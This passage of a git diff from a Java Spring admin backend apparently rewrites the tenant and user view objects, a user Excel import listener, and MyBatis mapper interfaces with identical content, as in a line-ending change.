/** - * 过期时间 - */ - @ExcelProperty(value = "过期时间") - private Date expireTime; - - /** - * 用户数量(-1不限制) - */ - @ExcelProperty(value = "用户数量") - private Long accountCount; - - /** - *收款人姓名 - */ - @ExcelProperty(value = "收款人姓名") - private String payeeName; - - /** - *收款银行名称 - */ - @ExcelProperty(value = "收款银行名称") - private String payeeBank; - - /** - *收款银行卡号 - */ - @ExcelProperty(value = "收款银行卡号") - private String payeeBankNum; - - /** - * 租户状态(0正常 1停用) - */ - @ExcelProperty(value = "租户状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "0=正常,1=停用") - private String status; - - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysTenant; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 租户视图对象 sys_tenant + * + * @author Michelle.Chung + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysTenant.class) +public class SysTenantVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * id + */ + @ExcelProperty(value = "id") + private Long id; + + /** + * 租户ID + */ + @ExcelProperty(value = "租户ID") + private String tenantId; + + /** + * 租户编号 + */ + @ExcelProperty(value = "租户编号") + private String tenantCode; + + /** + * 联系人 + */ + @ExcelProperty(value = "联系人") + private String contactUserName; + + /** + * 联系电话 + */ + @ExcelProperty(value = "联系电话") + private String contactPhone; + + /** + * 企业名称 + */ + @ExcelProperty(value = "企业名称") + private String companyName; + + /** + * 统一社会信用代码 + */ + @ExcelProperty(value = "统一社会信用代码") + private String licenseNumber; + + /** + * 地址 + */ + @ExcelProperty(value = "地址") + private String address; + + /** + * 域名 + */ + @ExcelProperty(value = "域名") + private String domain; + + /** + * 企业简介 + */ + @ExcelProperty(value = "企业简介") + private String intro; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 租户套餐编号 + */ + @ExcelProperty(value = "租户套餐编号") + private Long packageId; + + /** + * 过期时间 + */ + @ExcelProperty(value = "过期时间") + private Date expireTime; + + /** + * 用户数量(-1不限制) + */ + @ExcelProperty(value = "用户数量") + private Long accountCount; + + /** + *收款人姓名 + */ + @ExcelProperty(value = "收款人姓名") + private String payeeName; + + /** + *收款银行名称 + */ + @ExcelProperty(value = "收款银行名称") + private String payeeBank; + + /** + *收款银行卡号 + */ + @ExcelProperty(value = "收款银行卡号") + private String payeeBankNum; + + /** + * 租户状态(0正常 1停用) + */ + @ExcelProperty(value = "租户状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "0=正常,1=停用") + private String status; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserExportVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserExportVo.java index 0fc9e23..74d3197 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserExportVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserExportVo.java @@ -1,94 +1,94 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelProperty; -import lombok.Data; -import lombok.NoArgsConstructor; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 用户对象导出VO - * - * @author Lion Li - */ - -@Data -@NoArgsConstructor -public class SysUserExportVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 用户ID - */ - @ExcelProperty(value = "用户序号") - private Long userId; - - /** - * 用户账号 - */ - @ExcelProperty(value = "登录名称") - private String userName; - - /** - * 用户昵称 - */ - @ExcelProperty(value = "用户名称") - private String nickName; - - /** - * 用户邮箱 - */ - @ExcelProperty(value = "用户邮箱") - private String email; - - /** - * 手机号码 - */ - @ExcelProperty(value = "手机号码") - private String phonenumber; - - /** - * 用户性别 - */ - @ExcelProperty(value = "用户性别", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_user_sex") - private String sex; - - /** - * 帐号状态(0正常 1停用) - */ - @ExcelProperty(value = "帐号状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_normal_disable") - private String status; - - /** - * 最后登录IP - */ - @ExcelProperty(value = "最后登录IP") - private String loginIp; - - /** - * 最后登录时间 - */ - @ExcelProperty(value = "最后登录时间") - private Date loginDate; - - /** - * 部门名称 - */ - @ExcelProperty(value = "部门名称") - private String deptName; - - /** - * 负责人 - */ - @ExcelProperty(value = "部门负责人") - private String leaderName; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelProperty; +import lombok.Data; +import lombok.NoArgsConstructor; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 用户对象导出VO + * + * @author Lion Li + */ + +@Data +@NoArgsConstructor +public class SysUserExportVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 用户ID + */ + @ExcelProperty(value = "用户序号") + private Long userId; + + /** + * 用户账号 + */ + @ExcelProperty(value = "登录名称") + private String userName; + + /** + * 用户昵称 + */ + @ExcelProperty(value = "用户名称") + private String nickName; + + /** + * 用户邮箱 + */ + @ExcelProperty(value = "用户邮箱") + private String email; + + /** + * 手机号码 + */ + @ExcelProperty(value = "手机号码") + private String phonenumber; + + /** + * 用户性别 + */ + @ExcelProperty(value = "用户性别", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_user_sex") + private String sex; + + /** + * 帐号状态(0正常 1停用) + */ + @ExcelProperty(value = "帐号状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_normal_disable") + private String status; + + /** + * 最后登录IP + */ + @ExcelProperty(value = "最后登录IP") + private String loginIp; + + /** + * 最后登录时间 + */ + @ExcelProperty(value = "最后登录时间") + private Date loginDate; + + /** + * 部门名称 + */ + @ExcelProperty(value = "部门名称") + private String deptName; + + /** + * 负责人 + */ + @ExcelProperty(value = "部门负责人") + private String leaderName; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserImportVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserImportVo.java index d0242d9..c45de4a 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserImportVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserImportVo.java @@ -1,76 +1,76 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelProperty; -import lombok.Data; -import lombok.NoArgsConstructor; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 用户对象导入VO - * - * @author Lion Li - */ - -@Data -@NoArgsConstructor -// @Accessors(chain = true) // 导入不允许使用 会找不到set方法 -public class SysUserImportVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 用户ID - */ - @ExcelProperty(value = "用户序号") - private Long userId; - - /** - * 部门ID - */ - @ExcelProperty(value = "部门编号") - private Long deptId; - - /** - * 用户账号 - */ - @ExcelProperty(value = "登录名称") - private String userName; - - /** - * 用户昵称 - */ - @ExcelProperty(value = "用户名称") - private String nickName; - - /** - * 用户邮箱 - */ - @ExcelProperty(value = "用户邮箱") - private String email; - - /** - * 手机号码 - */ - @ExcelProperty(value = "手机号码") - private String phonenumber; - - /** - * 用户性别 - */ - @ExcelProperty(value = "用户性别", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_user_sex") - private String sex; - - /** - * 帐号状态(0正常 1停用) - */ - @ExcelProperty(value = "帐号状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_normal_disable") - private String status; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelProperty; +import lombok.Data; +import lombok.NoArgsConstructor; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 用户对象导入VO + * + * @author Lion Li + */ + +@Data +@NoArgsConstructor +// @Accessors(chain = true) // 导入不允许使用 会找不到set方法 +public class SysUserImportVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 用户ID + */ + @ExcelProperty(value = "用户序号") + private Long userId; + + /** + * 部门ID + */ + @ExcelProperty(value = "部门编号") + private Long deptId; + + /** + * 用户账号 + */ + @ExcelProperty(value = "登录名称") + private String userName; + + /** + * 用户昵称 + */ + @ExcelProperty(value = "用户名称") + private String nickName; + + /** + * 用户邮箱 + */ + @ExcelProperty(value = "用户邮箱") + private String email; + + /** + * 手机号码 + */ + @ExcelProperty(value = "手机号码") + private String phonenumber; + + /** + * 用户性别 + */ + @ExcelProperty(value = "用户性别", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_user_sex") + private String sex; + + /** + * 帐号状态(0正常 1停用) + */ + @ExcelProperty(value = "帐号状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_normal_disable") + private String status; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserInfoVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserInfoVo.java index e41355d..48f9f0c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserInfoVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserInfoVo.java @@ -1,40 +1,40 @@ -package org.dromara.system.domain.vo; - -import lombok.Data; - -import java.util.List; - -/** - * 用户信息 - * - * @author Michelle.Chung - */ -@Data -public class SysUserInfoVo { - - /** - * 用户信息 - */ - private SysUserVo user; - - /** - * 角色ID列表 - */ - private List roleIds; - - /** - * 角色列表 - */ - private List roles; - - /** - * 岗位ID列表 - */ - private List postIds; - - /** - * 岗位列表 - */ - private List posts; - -} +package org.dromara.system.domain.vo; + +import lombok.Data; + +import java.util.List; + +/** + * 用户信息 + * + * @author Michelle.Chung + */ +@Data +public class SysUserInfoVo { + + /** + * 用户信息 + */ + private SysUserVo user; + + /** + * 角色ID列表 + */ + private List roleIds; + + /** + * 角色列表 + */ + private List roles; + + /** + * 岗位ID列表 + */ + private List postIds; + + /** + * 岗位列表 + */ + private List posts; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserVo.java index dcb65de..6aa3b25 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysUserVo.java @@ -1,205 +1,205 @@ -package org.dromara.system.domain.vo; - -import com.fasterxml.jackson.annotation.JsonFormat; -import com.fasterxml.jackson.annotation.JsonIgnore; -import com.fasterxml.jackson.annotation.JsonProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.sensitive.annotation.Sensitive; -import org.dromara.common.sensitive.core.SensitiveStrategy; -import org.dromara.common.translation.annotation.Translation; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.system.domain.SysUser; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; -import java.util.List; - - -/** - * 用户信息视图对象 sys_user - * - * @author Michelle.Chung - */ -@Data -@AutoMapper(target = SysUser.class) -public class SysUserVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 用户ID - */ - private Long userId; - - /** - * 租户ID - */ - private String tenantId; - - /** - * 部门ID - */ - private Long deptId; - - /** - * 用户账号 - */ - private String userName; - - /** - * 用户昵称 - */ - private String nickName; - - /** - * 真实姓名 - */ - private String realName; - - /** - * 身份(1=员工,2=技术,3=客服,4=分图员) - */ - private Integer identity; - - /** - * 擅长类型 - */ - private String type; - - /** - * 工龄 - */ - @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") - private Date year; - - /** - * 工种 - */ - private Long work; - - /** - * 余额 - */ - private BigDecimal yue; - - /** - * 总支出 - */ - private BigDecimal zhichu; - - /** - * 总金额 - */ - private BigDecimal money; - - /** - * 用户类型(sys_user系统用户) - */ - private String userType; - - /** - * 用户邮箱 - */ - @Sensitive(strategy = SensitiveStrategy.EMAIL, perms = "system:user:edit") - private String email; - - /** - * 手机号码 - */ - @Sensitive(strategy = SensitiveStrategy.PHONE, perms = "system:user:edit") - private String phonenumber; - - /** - * 用户性别(0男 1女 2未知) - */ - private String sex; - - /** - * 头像地址 - */ - @Translation(type = TransConstant.OSS_ID_TO_URL) - private Long avatar; - - /** - * 密码 - */ - @JsonIgnore - @JsonProperty - private String password; - - /** - * 帐号状态(0正常 1停用) - */ - private String status; - - /** - * 最后登录IP - */ - private String loginIp; - - /** - * 最后登录时间 - */ - private Date loginDate; - - /** - * 备注 - */ - private String remark; - - /** - * 创建时间 - */ - private Date createTime; - - /** - * 部门名 - */ - @Translation(type = TransConstant.DEPT_ID_TO_NAME, mapper = "deptId") - private String deptName; - - /** - * 角色对象 - */ - private List roles; - - /** - * 角色组 - */ - private Long[] roleIds; - - /** - * 岗位组 - */ - private Long[] postIds; - - /** - * 数据权限 当前角色ID - */ - private Long roleId; - - /** - * 是否分图员 1:是 0:否 - */ - private Integer isFty; - - /** - * 完成订单数量 - */ - private Long num; - - /** - * 作品数量 - */ - private Long workNum; - - /** - * 该用户作品集 - */ - private List pictures; - -} +package org.dromara.system.domain.vo; + +import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.sensitive.annotation.Sensitive; +import org.dromara.common.sensitive.core.SensitiveStrategy; +import org.dromara.common.translation.annotation.Translation; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.system.domain.SysUser; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; + + +/** + * 用户信息视图对象 sys_user + * + * @author Michelle.Chung + */ +@Data +@AutoMapper(target = SysUser.class) +public class SysUserVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 用户ID + */ + private Long userId; + + /** + * 租户ID + */ + private String tenantId; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 用户账号 + */ + private String userName; + + /** + * 用户昵称 + */ + private String nickName; + + /** + * 真实姓名 + */ + private String realName; + + /** + * 身份(1=员工,2=技术,3=客服,4=分图员) + */ + private Integer identity; + + /** + * 擅长类型 + */ + private String type; + + /** + * 工龄 + */ + @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") + private Date year; + + /** + * 工种 + */ + private Long work; + + /** + * 余额 + */ + private BigDecimal yue; + + /** + * 总支出 + */ + private BigDecimal zhichu; + + /** + * 总金额 + */ + private BigDecimal money; + + /** + * 用户类型(sys_user系统用户) + */ + private String userType; + + /** + * 用户邮箱 + */ + @Sensitive(strategy = SensitiveStrategy.EMAIL, perms = "system:user:edit") + private String email; + + /** + * 手机号码 + */ + @Sensitive(strategy = SensitiveStrategy.PHONE, perms = "system:user:edit") + private String phonenumber; + + /** + * 用户性别(0男 1女 2未知) + */ + private String sex; + + /** + * 头像地址 + */ + @Translation(type = TransConstant.OSS_ID_TO_URL) + private Long avatar; + + /** + * 密码 + */ + @JsonIgnore + @JsonProperty + private String password; + + /** + * 帐号状态(0正常 1停用) + */ + private String status; + + /** + * 最后登录IP + */ + private String loginIp; + + /** + * 最后登录时间 + */ + private Date loginDate; + + /** + * 备注 + */ + private String remark; + + /** + * 创建时间 + */ + private Date createTime; + + /** + * 部门名 + */ + @Translation(type = TransConstant.DEPT_ID_TO_NAME, mapper = "deptId") + private String deptName; + + /** + * 角色对象 + */ + private List roles; + + /** + * 角色组 + */ + private Long[] roleIds; + + /** + * 岗位组 + */ + private Long[] postIds; + + /** + * 数据权限 当前角色ID + */ + private Long roleId; + + /** + * 是否分图员 1:是 0:否 + */ + private Integer isFty; + + /** + * 完成订单数量 + */ + private Long num; + + /** + * 作品数量 + */ + private Long workNum; + + /** + * 该用户作品集 + */ + private List pictures; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/UserInfoVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/UserInfoVo.java index 48fa92a..4b93e88 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/UserInfoVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/UserInfoVo.java @@ -1,30 +1,30 @@ -package org.dromara.system.domain.vo; - -import lombok.Data; - -import java.util.Set; - -/** - * 登录用户信息 - * - * @author Michelle.Chung - */ -@Data -public class UserInfoVo { - - /** - * 用户基本信息 - */ - private SysUserVo user; - - /** - * 菜单权限 - */ - private Set permissions; - - /** - * 角色权限 - */ - private Set roles; - -} +package org.dromara.system.domain.vo; + +import lombok.Data; + +import java.util.Set; + +/** + * 登录用户信息 + * + * @author Michelle.Chung + */ +@Data +public class UserInfoVo { + + /** + * 用户基本信息 + */ + private SysUserVo user; + + /** + * 菜单权限 + */ + private Set permissions; + + /** + * 角色权限 + */ + private Set roles; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/listener/SysUserImportListener.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/listener/SysUserImportListener.java index 993fb94..4278f89 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/listener/SysUserImportListener.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/listener/SysUserImportListener.java @@ -1,127 +1,127 @@ -package org.dromara.system.listener; - -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.crypto.digest.BCrypt; -import cn.hutool.http.HtmlUtil; -import com.alibaba.excel.context.AnalysisContext; -import com.alibaba.excel.event.AnalysisEventListener; -import jakarta.validation.ConstraintViolation; -import jakarta.validation.ConstraintViolationException; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.excel.core.ExcelListener; -import org.dromara.common.excel.core.ExcelResult; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.domain.vo.SysUserImportVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.service.ISysConfigService; -import org.dromara.system.service.ISysUserService; - -import java.util.List; - -/** - * 系统用户自定义导入 - * - * @author Lion Li - */ -@Slf4j -public class SysUserImportListener extends AnalysisEventListener implements ExcelListener { - - private final ISysUserService userService; - - private final String password; - - private final Boolean isUpdateSupport; - - private final Long operUserId; - - private int successNum = 0; - private int failureNum = 0; - private final StringBuilder successMsg = new StringBuilder(); - private final StringBuilder failureMsg = new StringBuilder(); - - public SysUserImportListener(Boolean isUpdateSupport) { - String initPassword = SpringUtils.getBean(ISysConfigService.class).selectConfigByKey("sys.user.initPassword"); - this.userService = SpringUtils.getBean(ISysUserService.class); - this.password = BCrypt.hashpw(initPassword); - this.isUpdateSupport = isUpdateSupport; - this.operUserId = LoginHelper.getUserId(); - } - - @Override - public void invoke(SysUserImportVo userVo, AnalysisContext context) { - SysUserVo sysUser = this.userService.selectUserByUserName(userVo.getUserName()); - try { - // 验证是否存在这个用户 - if (ObjectUtil.isNull(sysUser)) { - SysUserBo user = BeanUtil.toBean(userVo, SysUserBo.class); - ValidatorUtils.validate(user); - user.setPassword(password); - user.setCreateBy(operUserId); - userService.insertUser(user); - successNum++; - successMsg.append("
").append(successNum).append("、账号 ").append(user.getUserName()).append(" 导入成功"); - } else if (isUpdateSupport) { - Long userId = sysUser.getUserId(); - SysUserBo user = BeanUtil.toBean(userVo, SysUserBo.class); - user.setUserId(userId); - ValidatorUtils.validate(user); - userService.checkUserAllowed(user.getUserId()); - userService.checkUserDataScope(user.getUserId()); - user.setUpdateBy(operUserId); - userService.updateUser(user); - successNum++; - successMsg.append("
").append(successNum).append("、账号 ").append(user.getUserName()).append(" 更新成功"); - } else { - failureNum++; - failureMsg.append("
").append(failureNum).append("、账号 ").append(sysUser.getUserName()).append(" 已存在"); - } - } catch (Exception e) { - failureNum++; - String msg = "
" + failureNum + "、账号 " + HtmlUtil.cleanHtmlTag(userVo.getUserName()) + " 导入失败:"; - String message = e.getMessage(); - if (e instanceof ConstraintViolationException cvException) { - message = StreamUtils.join(cvException.getConstraintViolations(), ConstraintViolation::getMessage, ", "); - } - failureMsg.append(msg).append(message); - log.error(msg, e); - } - } - - @Override - public void doAfterAllAnalysed(AnalysisContext context) { - - } - - @Override - public ExcelResult getExcelResult() { - return new ExcelResult<>() { - - @Override - public String getAnalysis() { - if (failureNum > 0) { - failureMsg.insert(0, "很抱歉,导入失败!共 " + failureNum + " 条数据格式不正确,错误如下:"); - throw new ServiceException(failureMsg.toString()); - } else { - successMsg.insert(0, "恭喜您,数据已全部导入成功!共 " + successNum + " 条,数据如下:"); - } - return successMsg.toString(); - } - - @Override - public List getList() { - return null; - } - - @Override - public List getErrorList() { - return null; - } - }; - } -} +package org.dromara.system.listener; + +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.crypto.digest.BCrypt; +import cn.hutool.http.HtmlUtil; +import com.alibaba.excel.context.AnalysisContext; +import com.alibaba.excel.event.AnalysisEventListener; +import jakarta.validation.ConstraintViolation; +import jakarta.validation.ConstraintViolationException; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.excel.core.ExcelListener; +import org.dromara.common.excel.core.ExcelResult; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.domain.vo.SysUserImportVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.service.ISysConfigService; +import org.dromara.system.service.ISysUserService; + +import java.util.List; + +/** + * 系统用户自定义导入 + * + * @author Lion Li + */ +@Slf4j +public class SysUserImportListener extends AnalysisEventListener implements ExcelListener { + + private final ISysUserService userService; + + private final String password; + + private final Boolean isUpdateSupport; + + private final Long operUserId; + + private int successNum = 0; + private int failureNum = 0; + private final StringBuilder successMsg = new StringBuilder(); + private final StringBuilder failureMsg = new StringBuilder(); + + public SysUserImportListener(Boolean isUpdateSupport) { + String initPassword = SpringUtils.getBean(ISysConfigService.class).selectConfigByKey("sys.user.initPassword"); + this.userService = SpringUtils.getBean(ISysUserService.class); + this.password = BCrypt.hashpw(initPassword); + this.isUpdateSupport = isUpdateSupport; + this.operUserId = LoginHelper.getUserId(); + } + + @Override + public void invoke(SysUserImportVo userVo, AnalysisContext context) { + SysUserVo sysUser = this.userService.selectUserByUserName(userVo.getUserName()); + try { + // 验证是否存在这个用户 + if (ObjectUtil.isNull(sysUser)) { + SysUserBo user = BeanUtil.toBean(userVo, SysUserBo.class); + ValidatorUtils.validate(user); + user.setPassword(password); + user.setCreateBy(operUserId); + userService.insertUser(user); + successNum++; + successMsg.append("
").append(successNum).append("、账号 ").append(user.getUserName()).append(" 导入成功"); + } else if (isUpdateSupport) { + Long userId = sysUser.getUserId(); + SysUserBo user = BeanUtil.toBean(userVo, SysUserBo.class); + user.setUserId(userId); + ValidatorUtils.validate(user); + userService.checkUserAllowed(user.getUserId()); + userService.checkUserDataScope(user.getUserId()); + user.setUpdateBy(operUserId); + userService.updateUser(user); + successNum++; + successMsg.append("
").append(successNum).append("、账号 ").append(user.getUserName()).append(" 更新成功"); + } else { + failureNum++; + failureMsg.append("
").append(failureNum).append("、账号 ").append(sysUser.getUserName()).append(" 已存在"); + } + } catch (Exception e) { + failureNum++; + String msg = "
" + failureNum + "、账号 " + HtmlUtil.cleanHtmlTag(userVo.getUserName()) + " 导入失败:"; + String message = e.getMessage(); + if (e instanceof ConstraintViolationException cvException) { + message = StreamUtils.join(cvException.getConstraintViolations(), ConstraintViolation::getMessage, ", "); + } + failureMsg.append(msg).append(message); + log.error(msg, e); + } + } + + @Override + public void doAfterAllAnalysed(AnalysisContext context) { + + } + + @Override + public ExcelResult getExcelResult() { + return new ExcelResult<>() { + + @Override + public String getAnalysis() { + if (failureNum > 0) { + failureMsg.insert(0, "很抱歉,导入失败!共 " + failureNum + " 条数据格式不正确,错误如下:"); + throw new ServiceException(failureMsg.toString()); + } else { + successMsg.insert(0, "恭喜您,数据已全部导入成功!共 " + successNum + " 条,数据如下:"); + } + return successMsg.toString(); + } + + @Override + public List getList() { + return null; + } + + @Override + public List getErrorList() { + return null; + } + }; + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysClientMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysClientMapper.java index 6a97191..b530932 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysClientMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysClientMapper.java @@ -1,15 +1,15 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysClient; -import org.dromara.system.domain.vo.SysClientVo; - -/** - * 授权管理Mapper接口 - * - * @author Michelle.Chung - * @date 2023-05-15 - */ -public interface SysClientMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysClient; +import org.dromara.system.domain.vo.SysClientVo; + +/** + * 授权管理Mapper接口 + * + * @author Michelle.Chung + * @date 2023-05-15 + */ +public interface SysClientMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysConfigMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysConfigMapper.java index 0eaaee8..05b5e9d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysConfigMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysConfigMapper.java @@ -1,14 +1,14 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysConfig; -import org.dromara.system.domain.vo.SysConfigVo; - -/** - * 参数配置 数据层 - * - * @author Lion Li - */ -public interface SysConfigMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysConfig; +import org.dromara.system.domain.vo.SysConfigVo; + +/** + * 参数配置 数据层 + * + * @author Lion Li + */ +public interface SysConfigMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDeptMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDeptMapper.java index 0f2c906..f664f3f 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDeptMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDeptMapper.java @@ -1,66 +1,66 @@ -package org.dromara.system.mapper; - -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Constants; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.mybatis.annotation.DataColumn; -import org.dromara.common.mybatis.annotation.DataPermission; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.common.mybatis.helper.DataBaseHelper; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.vo.SysDeptVo; - -import java.util.List; - -/** - * 部门管理 数据层 - * - * @author Lion Li - */ -public interface SysDeptMapper extends BaseMapperPlus { - - /** - * 查询部门管理数据 - * - * @param queryWrapper 查询条件 - * @return 部门信息集合 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id") - }) - List selectDeptList(@Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 统计指定部门ID的部门数量 - * - * @param deptId 部门ID - * @return 该部门ID的部门数量 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id") - }) - long countDeptById(Long deptId); - - /** - * 根据父部门ID查询其所有子部门的列表 - * - * @param parentId 父部门ID - * @return 包含子部门的列表 - */ - default List selectListByParentId(Long parentId) { - return this.selectList(new LambdaQueryWrapper() - .select(SysDept::getDeptId) - .apply(DataBaseHelper.findInSet(parentId, "ancestors"))); - } - - /** - * 根据角色ID查询部门树信息 - * - * @param roleId 角色ID - * @param deptCheckStrictly 部门树选择项是否关联显示 - * @return 选中部门列表 - */ - List selectDeptListByRoleId(@Param("roleId") Long roleId, @Param("deptCheckStrictly") boolean 